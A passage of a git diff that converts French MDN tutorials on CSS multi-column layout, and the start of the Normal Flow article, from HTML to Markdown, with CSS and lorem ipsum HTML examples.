href="https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html">téléchargeant le fichier de depart multicol</a> et en ajoutant la CSS aux emplacements appropriés. En fin de section, vous verrez un exemple en direct de ce à quoi le code final peut ressembler.</p> +Nous allons maintenant explorer la disposition du contenu sur plusieurs colonnes, souvent nommée « *multicol* ». Vous pourrez effectuer le suivi de cet article en [téléchargeant le fichier de depart multicol](https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html) et en ajoutant la CSS aux emplacements appropriés. En fin de section, vous verrez un exemple en direct de ce à quoi le code final peut ressembler. -<p>Notre point de départ contient un HTML très simple ; une enveloppe de la classe <code>container</code> dans laquelle nous avons placé un en‑tête et quelques paragraphes.</p> +Notre point de départ contient un HTML très simple ; une enveloppe de la classe `container` dans laquelle nous avons placé un en‑tête et quelques paragraphes. -<p>L'élément {{htmlelement("div")}} de la classe <code>container</code> sera notre conteneur multi‑colonnes. Nous basculons dans une disposition <em>multicol</em> en utilisant l'une des deux propriétés {{cssxref("column-count")}} ou {{cssxref("column-width")}}. La propriété <code>column-count</code> crée autant de colonnes que la valeur indiquée, donc si vous ajoutez la CSS suivante et actalisez la page, vous obtiendrez une disposition sur trois colonnes :</p> +L'élément {{htmlelement("div")}} de la classe `container` sera notre conteneur multi‑colonnes. Nous basculons dans une disposition _multicol_ en utilisant l'une des deux propriétés {{cssxref("column-count")}} ou {{cssxref("column-width")}}. La propriété `column-count` crée autant de colonnes que la valeur indiquée, donc si vous ajoutez la CSS suivante et actalisez la page, vous obtiendrez une disposition sur trois colonnes : -<pre class="brush: css">.container { +```css +.container { column-count: 3; } -</pre> +``` -<p>Les colonnes créées sont de largeur variable — le navigateur calcule automatiquement l'espace à donner à chacune d'entre elles.</p> +Les colonnes créées sont de largeur variable — le navigateur calcule automatiquement l'espace à donner à chacune d'entre elles. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; } - </pre> -<pre class="brush: html"><div class="container"> - <h1>Simple exemple <i>multicol</i></h1> +``` + +```html +<div class="container"> + <h1>Simple exemple <i>multicol</i></h1> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit - quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis - dis parturient montes, nascetur ridiculus mus.</p> -</div> -</pre> + dis parturient montes, nascetur ridiculus mus.</p> +</div> +``` -<p>{{ EmbedLiveSample('Un_exemple_élémentaire', '100%', 400) }}</p> +{{ EmbedLiveSample('Un_exemple_élémentaire', '100%', 400) }} -<h3>Définir column-width</h3> +### Définir column-width -<p>Modifiez la CSS pour utiliser <code>column-width</code> ainsi :</p> +Modifiez la CSS pour utiliser `column-width` ainsi : -<pre class="brush: css">.container { +```css +.container { column-width: 200px; } -</pre> +``` -<p>Le navigateur dispose maintenant le maximum de colonnes possible de la taille fixée ; le reste de l'espace est partagé entre les colonnes existantes. Cela signifie que vous n'obtiendrez pas exactement la largeur définie, à moins que le conteneur soit exactement divisible par cette largeur.</p> +Le navigateur dispose maintenant le maximum de colonnes possible de la taille fixée ; le reste de l'espace est partagé entre les colonnes existantes. Cela signifie que vous n'obtiendrez pas exactement la largeur définie, à moins que le conteneur soit exactement divisible par cette largeur. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; -}</pre> +} +``` -<pre class="brush: html hidden"><div class="container"> - <h1>Simple exemple <i>multicol</i></h1> +```html hidden +<div class="container"> + <h1>Simple exemple <i>multicol</i></h1> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit - quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis - dis parturient montes, nascetur ridiculus mus.</p> -</div></pre> + dis parturient montes, nascetur ridiculus mus.</p> +</div> +``` -<p>{{ EmbedLiveSample('Définir_column-width', '100%', 400) }}</p> +{{ EmbedLiveSample('Définir_column-width', '100%', 400) }} -<h2 id="Style_des_colonnes">Style des colonnes</h2> +## Style des colonnes -<p>Les colonnes créées avec <em>multicol</em> ne peuvent pas être stylisées individuellement. Il n'y a aucun moyen de faire en sorte qu'une colonne soit plus large qu'une autre, ou de modifier l'arrière‑plan ou la couleur du texte d'une seule colonne. Il y a deux moyens de modifier l'affichage des colonnes :</p> +Les colonnes créées avec _multicol_ ne peuvent pas être stylisées individuellement. Il n'y a aucun moyen de faire en sorte qu'une colonne soit plus large qu'une autre, ou de modifier l'arrière‑plan ou la couleur du texte d'une seule colonne. Il y a deux moyens de modifier l'affichage des colonnes : -<ul> - <li>modifier la taille de l'espacement entre colonnes avec {{cssxref("column-gap")}}.</li> - <li>ajouter une règle entre colonnes avec {{cssxref("column-rule")}}.</li> -</ul> +- modifier la taille de l'espacement entre colonnes avec {{cssxref("column-gap")}}. +- ajouter une règle entre colonnes avec {{cssxref("column-rule")}}. -<p>En utilisant l'exemple ci‑dessus, changeons la taille de l'espacement entre colonnes avec la propriété <code>column-gap</code> :</p> +En utilisant l'exemple ci‑dessus, changeons la taille de l'espacement entre colonnes avec la propriété `column-gap` : -<pre class="brush: css">.container { +```css +.container { column-width: 200px; column-gap: 20px; -}</pre> +} +``` -<p>Vous pouvez tester diverses valeurs — la propriété accepte n'importe quelle unité de longueur. Ajoutons maintenant une règle entre colonnes avec <code>column-rule</code>. De la même manière qu'avec la propriété {{cssxref("border")}} rencontrée dans les articles précédents, <code>column-rule</code>, forme abrégée de {{cssxref("column-rule-color")}}, {{cssxref("column-rule-style")}} et {{cssxref("column-rule-width")}}, accepte les mêmes valeurs.</p> +Vous pouvez tester diverses valeurs — la propriété accepte n'importe quelle unité de longueur. Ajoutons maintenant une règle entre colonnes avec `column-rule`. De la même manière qu'avec la propriété {{cssxref("border")}} rencontrée dans les articles précédents, `column-rule`, forme abrégée de {{cssxref("column-rule-color")}}, {{cssxref("column-rule-style")}} et {{cssxref("column-rule-width")}}, accepte les mêmes valeurs. -<pre class="brush: css">.container { +```css +.container { column-count: 3; column-gap: 20px; column-rule: 4px dotted rgb(79, 185, 227); -}</pre> +} +``` -<p>Ajoutons des règles pour les divers styles et couleurs.</p> +Ajoutons des règles pour les divers styles et couleurs. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; @@ -144,101 +162,107 @@ original_slug: Apprendre/CSS/CSS_layout/Multiple-column_Layout column-count: 3; column-gap: 20px; column-rule: 4px dotted rgb(79, 185, 227); -}</pre> +} +``` -<pre class="brush: html hidden"><div class="container"> - <h1>Simple exemple <i>multicol</i></h1> +```html hidden +<div class="container"> + <h1>Simple exemple <i>multicol</i></h1> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit - quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis - dis parturient montes, nascetur ridiculus mus.</p> -</div></pre> + dis parturient montes, nascetur ridiculus mus.</p> +</div> +``` -<p>{{ EmbedLiveSample('Style_des_colonnes', '100%', 400) }}</p> +{{ EmbedLiveSample('Style_des_colonnes', '100%', 400) }} -<p>Notez que la règle ne prend pas de largeur en soi. Elle se place dans l'espace créé avec <code>column-gap</code>. Pour faire un peu plus d'espace d'un côté ou de l'autre de la règle, vous devez augmenter la taille de l'espace entre les colonnes.</p> +Notez que la règle ne prend pas de largeur en soi. Elle se place dans l'espace créé avec `column-gap`. Pour faire un peu plus d'espace d'un côté ou de l'autre de la règle, vous devez augmenter la taille de l'espace entre les colonnes. -<h2 id="Colonnes_et_coupures">Colonnes et coupures</h2> +## Colonnes et coupures -<p>Le contenu d'une disposition en plusieurs colonnes est coupé. Il se comporte essentiellement de la même manière qu'un contenu en plusieurs pages — comme quand vous imprimez une page web. Quand vous mettez un contenu dans un conteneur <em>multicol</em>, il est découpé en colonnes de texte pour permettre cette disposition.</p> +Le contenu d'une disposition en plusieurs colonnes est coupé. Il se comporte essentiellement de la même manière qu'un contenu en plusieurs pages — comme quand vous imprimez une page web. Quand vous mettez un contenu dans un conteneur _multicol_, il est découpé en colonnes de texte pour permettre cette disposition. -<p>Quelquefois, ces coupures se font dans des endroits amenant des difficultés de lecture. Dans l'exemple en direct ci‑dessous, j'ai utilisé <em>multicol</em> pour disposer une série de boîtes dont chacune a un titre et un peu de texte. Le titre est séparé du texte si la coupure de colonne se produit entre les deux.</p> +Quelquefois, ces coupures se font dans des endroits amenant des difficultés de lecture. Dans l'exemple en direct ci‑dessous, j'ai utilisé _multicol_ pour disposer une série de boîtes dont chacune a un titre et un peu de texte. Le titre est séparé du texte si la coupure de colonne se produit entre les deux. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; -} </pre> -</div> +} +``` -<pre class="brush: html hidden"><div class="container"> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat +```html hidden +<div class="container"> + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vel, viverra egestas ligula.</p> + </div> + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> -</div> -</pre> +</div> +``` -<pre class="brush: css">.container { +```css +.container { column-width: 250px; column-gap: 20px; } @@ -248,17 +272,19 @@ original_slug: Apprendre/CSS/CSS_layout/Multiple-column_Layout border: 2px solid rgb(79, 185, 227); padding: 10px; margin: 0 0 1em 0; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Colonnes_et_coupures', '100%', 600) }}</p> +{{ EmbedLiveSample('Colonnes_et_coupures', '100%', 600) }} -<h3>Utiliser break-inside</h3> +### Utiliser break-inside -<p>Pour contrôler ce comportement, utilisons les propriétés stipulées dans <a href="/fr/docs/Web/CSS/CSS_Fragmentation">CSS Fragmentation</a> (coupures dans la CSS). Cette fonctionnalité nous offre des propriétés pour contrôler les coupures de contenu dans le <em>multicol</em> et les médias paginés. Par exemple, ajoutons la propriété {{cssxref("break-inside")}} avec la valeur <code>avoid</code> aux règles pour <code>.card</code>, qui est le conteneur du titre et du texte. Nous indiquons que nous ne souhaitons pas que cette boîte soit coupée.</p> +Pour contrôler ce comportement, utilisons les propriétés stipulées dans [CSS Fragmentation](/fr/docs/Web/CSS/CSS_Fragmentation) (coupures dans la CSS). Cette fonctionnalité nous offre des propriétés pour contrôler les coupures de contenu dans le _multicol_ et les médias paginés. Par exemple, ajoutons la propriété {{cssxref("break-inside")}} avec la valeur `avoid` aux règles pour `.card`, qui est le conteneur du titre et du texte. Nous indiquons que nous ne souhaitons pas que cette boîte soit coupée. -<p>Il est également préférable d'ajouter l'ancienne propriété <code>page-break-inside: avoid</code> pour une meilleure prise en charge par les divers navigateurs.</p> +Il est également préférable d'ajouter l'ancienne propriété `page-break-inside: avoid` pour une meilleure prise en charge par les divers navigateurs. -<pre class="brush: css">.card { +```css +.card { break-inside: avoid; page-break-inside: avoid; background-color: rgb(207,232,220); @@ -266,77 +292,81 @@ original_slug: Apprendre/CSS/CSS_layout/Multiple-column_Layout padding: 10px; margin: 0 0 1em 0; } -</pre> +``` -<p>Actualisez la page et les boîtes devraient rester entières.</p> +Actualisez la page et les boîtes devraient rester entières. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; -} </pre> +} +``` -<pre class="brush: html hidden"><div class="container"> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat +```html hidden +<div class="container"> + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vel, viverra egestas ligula.</p> + </div> + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> - <div class="card"> - <h2>Je suis un titre</h2> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + <div class="card"> + <h2>Je suis un titre</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci - vel, viverra egestas ligula.</p> - </div> + vel, viverra egestas ligula.</p> + </div> -</div> -</pre> +</div> +``` -<pre class="brush: css">.container { +```css +.container { column-width: 250px; column-gap: 20px; } @@ -348,34 +378,31 @@ original_slug: Apprendre/CSS/CSS_layout/Multiple-column_Layout border: 2px solid rgb(79, 185, 227); padding: 10px; margin: 0 0 1em 0; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Utiliser_break-inside', '100%', 600) }}</p> +{{ EmbedLiveSample('Utiliser_break-inside', '100%', 600) }} -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Vous savez maintenant comment utiliser les fonctionnalités élémentaires de la mise en page sur plusieurs colonnes, autre outil à votre disposition pour choisir une méthode de présentation pour le désign de vos applications.</p> +Vous savez maintenant comment utiliser les fonctionnalités élémentaires de la mise en page sur plusieurs colonnes, autre outil à votre disposition pour choisir une méthode de présentation pour le désign de vos applications. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/CSS/CSS_Fragmentation">Coupures avec la CSS</a></li> - <li><a href="/fr/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts">Utilisation des mises en page sur plusieurs colonnes</a></li> -</ul> +- [Coupures avec la CSS](/fr/docs/Web/CSS/CSS_Fragmentation) +- [Utilisation des mises en page sur plusieurs colonnes](/fr/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts) -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> -</ul> +- [Introduction to CSS layout](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Normal Flow](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column Layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Legacy Layout Methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Fundamental Layout Comprehension Assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/normal_flow/index.md b/files/fr/learn/css/css_layout/normal_flow/index.md index b0edfa8415..95ee411f27 100644 --- a/files/fr/learn/css/css_layout/normal_flow/index.md +++ b/files/fr/learn/css/css_layout/normal_flow/index.md @@ -4,71 +4,84 @@ slug: Learn/CSS/CSS_layout/Normal_Flow translation_of: Learn/CSS/CSS_layout/Normal_Flow original_slug: Apprendre/CSS/CSS_layout/Normal_Flow --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Introduction", "Apprendre/CSS/CSS_layout/Flexbox", "Apprendre/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Introduction", "Apprendre/CSS/CSS_layout/Flexbox", "Apprendre/CSS/CSS_layout")}} -<p>Cet article décrit le déroulement normal, c'est-à-dire la façon dont les éléments d'une page web se présentent si vous ne modifiez pas leur mise en page.</p> +Cet article décrit le déroulement normal, c'est-à-dire la façon dont les éléments d'une page web se présentent si vous ne modifiez pas leur mise en page. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les fondamentaux du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML</a>) et avoir une idée de la manière dont les CSS fonctionnent (étudiez <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Expliquer comment les navigateurs composent les pages web par défaut, avant que nous commencions à faire des modifications.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les fondamentaux du HTML (étudiez + <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" + >Introduction au HTML</a + >) et avoir une idée de la manière dont les CSS fonctionnent (étudiez + <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Expliquer comment les navigateurs composent les pages web par défaut, + avant que nous commencions à faire des modifications. + </td> + </tr> + </tbody> </table> -<p>Comme indiqué dans la précédente leçon d'introduction à la mise en page, les éléments d'une page Web suivent un cours normal de mise en page, si vous n'avez pas appliqué de CSS pour changer leur comportement. Et, 